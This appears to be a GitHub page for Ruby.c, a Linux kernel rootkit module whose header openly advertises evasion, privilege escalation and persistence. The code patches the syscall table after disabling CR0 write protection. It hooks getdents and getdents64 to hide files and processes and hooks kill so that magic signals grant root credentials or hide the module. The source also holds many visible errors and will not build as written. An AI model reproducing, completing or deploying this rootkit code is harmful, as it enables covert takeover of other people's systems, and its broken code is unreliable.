-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRuby.c
336 lines (312 loc) · 28.4 KB
/
Ruby.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
/*
Made by Arthur
In collaboration with Rodrigo Teofilo
A Rootkit is a type of malicious software designed to gain unauthorized access
and control over a computer or network. The Ruby Rootkit, leverages the characteristics
to stealthily embed itself within the systems, making detection and removal
particular challenging.
A sophiscated malware stealthily infiltrating systems built with
Ruby integration, levaraging Ruby's dynamic features, it poses several threats
like as
Evasion: Utilizes dynamic script manipulation, avoiding traditional antiviruses
Privilege Escalation: Seeks unathorized control, potentially leading to data theft and system manipulation
Persistence: Embeds deeply with the system, resisting removal attempts
Stealthy Communication: Establishes covert channels for remote control
Polymorphics: Constantly alters code structure, challeging signature-based detection
Ruby Rootkit © Todos os direitos reservados
Terminated on 03/2024
*/
// Libraries
//---------------------------------------------------+
#include<linux/kernel.h>// |
#include<linux/module.h>// |
#include "library/ftrace_helper.h"// |
#include "library/Ruby.h"// |
#include<linux/dirent.h>// |
//---------------------------------------------------+
// Global Data
//--------------------------------------------------------------------------------------+
unsigned long *__sysc_table;// |
typedef asmlinkage (*t_syscall)(const struct pt_regs *);// |
// |
static t_syscall orig_getdents;// |
static t_syscall orig_getdents64;// |
static t_syscall orig_kill;// |
//--------------------------------------------------------------------------------------+
// Returning syscall table address
//--------------------------------------------------------------------------------------+
unsigned long *__ret_syscall_table(void)// |
{// |
unsigned long *__sys_call_t;// |
__sys_call_t = (unsigned long *)kallsyms_lookup_name("sys_call_table");// |
// |
return __sys_call_t;// |
}//-------------------------------------------------------------------------------------+
// Structing task list
//--------------------------------------------------------------------------------------+
struct task_struct *find_task(pid_t pid)// |
{// |
struct task_struct *p = current;// |
for_each_process(p)// |
{// |
if(p->pid == pid)// |
return p;// |
}// |
// |
return NULL;// |
}//-------------------------------------------------------------------------------------+
// Checking if is invisible
//----------------------------------------------------------------+
int is_invisible(pid_t pid)// |
{// |
struct task_struct *task;// |
if(!pid)// |
return 0;// |
task = find_task(pid);// |
if(!task)// |
return 0;// |
if(task->flags & 0x10000000)// |
return 1;// |
// |
return 0;// |
}//---------------------------------------------------------------+
// Privilege Escalation Function
//------------------------------------------------------------+
void rubyRoot(void)// |
{// |
struct cred *rubyCreds;// |
rubyCreds = prepare_creds();// |
if(rubyCreds == NULL)// |
return;// |
// |
rubyCreds->uid = rubyCreds->gid = 0;// |
rubyCreds->euid = rubyCreds->egid = 0;// |
rubyCreds->suid = rubyCreds->sgid = 0;// |
rubyCreds->fsuid = rubyCreds->fsgid = 0;// |
// |
commit_creds(rubyCreds);// |
// |
}//-----------------------------------------------------------+
// Hidding Ruby (Rootkit)
//--------------------------------------------------------------+
static inline void tidy(void)// |
{// |
kfree(THIS_MODULE->sect_attrs);// |
THIS_MODULE->sect_attrs = NULL;// |
}// |
// |
static struct list_head *rubyPrevious;// |
static short rubyHidden;// |
// |
void module rubyActive(void)// |
{// |
list_add(&THIS_MODULE->list, rubyPrevious);// |
rubyHidden = 0;// |
}// |
// |
void rubyInactive(void)// |
{// |
rubyPrevious = THIS_MODULE->list.prev;// |
list_del(&THIS_MODULE->list);// |
// |
rubyHidden = 1;// |
}// |
//--------------------------------------------------------------+
// GETDENTS64 CORRUPTION
//------------------------------------------------------------------------------------------------------------+
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);// |
asmlinkage int rthxr_getdents64(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count)// |
{// |
int fd = (int)pt_regs->di;// |
struct linux_dirent *dirent = (struct linux_dirent *)pt_regs->si;// |
// |
int ret = orig_getdents64(pt_regs), err;// |
// |
unsigned short proc = 0;// |
unsigned long off = 0;// |
struct linux_dirent64 *dir, *kdirent, *prev = NULL;// |
struct inode *d_inode;// |
// |
if (ret <= 0)// |
return ret;// |
// |
kdirent = kzalloc(ret, GFP_KERNEL);// |
if(kdirent == NULL)// |
return ret;// |
// |
err = copy_from_user(kdirent, dirent, ret);// |
if (err)// |
goto out;// |
// |
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;// |
// |
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)// |
proc = 1;// |
// |
while (off < ret)// |
{// |
dir = (void *)kdirent + off;// |
if((!proc && (memcmp(RTHXR, dir->d_name, strlen(RTHXR)) == 0)) || (proc && // |
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {// |
if(dir == kdirent)// |
{// |
ret -= dir->d_reclen;// |
memmove(dir, (void *)dir + dir->d_reclen, ret);// |
continue;// |
}// |
prev->d_reclen += dir->d_reclen;// |
} else {// |
prev = dir;// |
off += dir->d_reclen;// |
}// |
err = copy_to_user(dirent, kdirent, ret);// |
if (err)// |
goto out;// |
// |
out:// |
kfree(kdirent);// |
return ret;// |
}// |
// |
}// |
//------------------------------------------------------------------------------------------------------------+
// GETDENTS CORRUPTION
//-------------------------------------------------------------------------------------------------------------+
static asmlinkage long (*rthxr_getdents)(const struct pt_regs *);// |
asmlinkage int rthxr_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count)// |
{// |
int fd = (int)pt_regs->di;// |
struct linux_dirent *dirent = (struct linux_dirent *)pt_regs->si;// |
// |
int ret = orig_getdents(pt_regs), err;// |
// |
unsigned short proc = 0;// |
unsigned long off = 0;// |
struct linux_dirent *dir, *kdirent, *prev = NULL;// |
struct inode *d_inode;// |
// |
if (ret <= 0)// |
return ret;// |
// |
kdirent = kzalloc(ret, GFP_KERNEL);// |
if(kdirent == NULL)// |
return ret;// |
// |
err = copy_from_user(kdirent, dirent, ret);// |
if (err)// |
goto out;// |
// |
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;// |
// |
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)// |
proc = 1;// |
// |
while (off < ret)// |
{// |
dir = (void *)kdirent + off;// |
if((!proc && (memcmp(RTHXR, dir->d_name, strlen(RTHXR)) == 0)) || (proc && // |
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {// |
if(dir == kdirent)// |
{// |
ret -= dir->d_reclen;// |
memmove(dir, (void *)dir + dir->d_reclen, ret);// |
continue;// |
}// |
prev->d_reclen += dir->d_reclen;// |
} else {// |
prev = dir;// |
off += dir->d_reclen;// |
}// |
err = copy_to_user(dirent, kdirent, ret);// |
if (err)// |
goto out;// |
// |
out:// |
kfree(kdirent);// |
return ret;// |
}// |
// |
}//------------------------------------------------------------------------------------------------------------+
// Kill corruption
//------------------------------------------------------------------+
asmlinkage int rthxr_kill(const struct pt_regs *pt_regs)// |
{// |
pid_t pid = (pid_t) pt_regs->di;// |
int sig = (int)pt_regs->si;// |
// |
struct task_struct *task;// |
switch(sig)// |
{// |
case SIGINVIS:// |
if((task = find_task(pid)) == NULL)// |
return -ESRCH;// |
task->flags ^= 0x10000000;// |
break;// |
// |
case SIGSUPER:// |
rubyRoot();// |
break;// |
// |
case SIGMODINVIS:// |
if (rubyHidden) rubyActive();// |
else rubyInactive();// |
break;// |
// |
default:// |
return orig_kill(pt_regs);// |
}// |
// |
return 0;// |
}// |
//------------------------------------------------------------------+
// Defeating Memory Protection
//---------------------------------------------------------------------------+
unsigned long cr0;// |
static inline void _cr0(unsigned long value)// |
{// |
unsigned long __force_order;// |
asm volatile("mov %0, %%cr0": "+r"(value), "+m"(__force_order));// |
}// |
//---------------------------------------------------------------------------+
// LOADING AND UNLOADING RUBY (ROOTKIT)
//--------------------------------------------------------------------------------------------------------------+
static int __init rubyRootkit_init(void)// | loading function
{// |
cr0 = read_cr0();// | reading cr0 register value
unsigned long *__syscall_table = __ret_sysc_table();// | return syscall table address
_cr0(cr0 & ~0x00010000);// | defeating memory protection
// |
orig_getdents = (t_syscall)__syscall_table[__NR_getdents];// | saving current getdents
orig_getdents64 = (t_syscall)__syscall_table[__NR_getdents64];// | saving current getdents64
orig_kill = (t_syscall)__syscall_table[__NR_kill];// | saving current kill
// |
__syscall_table[__NR_getdents] = (unsigned long)rthxr_getdents;// | corrupting syscall table
__syscall_table[__NR_getdents64] = (unsigned long)rthxr_getdents64;// | corrupting syscall table
__syscall_table[__NR_Kill] = (unsigned long)rthxr_kill;// | corrupting syscall table
// |
_cr0(__cr0);// | protecting memory
return 0;// | ($w$)
}// |
//--------------------------------------------------------------------------------------------------------------+
static void __exit rubyRootkit_exit(void)// | unloading function
{// |
cr0 = read_cr0();// | reading cr0 register value
unsigned long *__syscall_table = __ret_sysc_table();// | return syscall table address
// |
__cr0(cr0 & ~0x00010000);// | defeating memory protection
// |
__syscall_table[__NR_getdents] = (unsigned long)orig_getdents;// | restoring getdents
__syscall_table[__NR_getdents64] = (unsigned long)orig_getdents64;// | restoring getdents64
__syscall_table[__NR_kill] = (unsigned long)orig_kill;// | restoring kill
// |
__cr0(cr0);// | protecting memory
return NULL;// | ~(88)^>
}// |
//--------------------------------------------------------------------------------------------------------------+
MODULE_LICENSE("Dual BSD/GPL");// | License code
MODULE_AUTHOR("Arthur/Rodrigo");// | Credits ~
MODULE_DESCRIPTION("Rootkit w/ Ruby integration");// | Driver description
//--------------------------------------------------------------------------------------------------------------+
module_init(rubyRootkit_init);// | Driver Initialization
module_exit(rubyRootkit_exit);// | Driver Destruction
//--------------------------------------------------------------------------------------------------------------+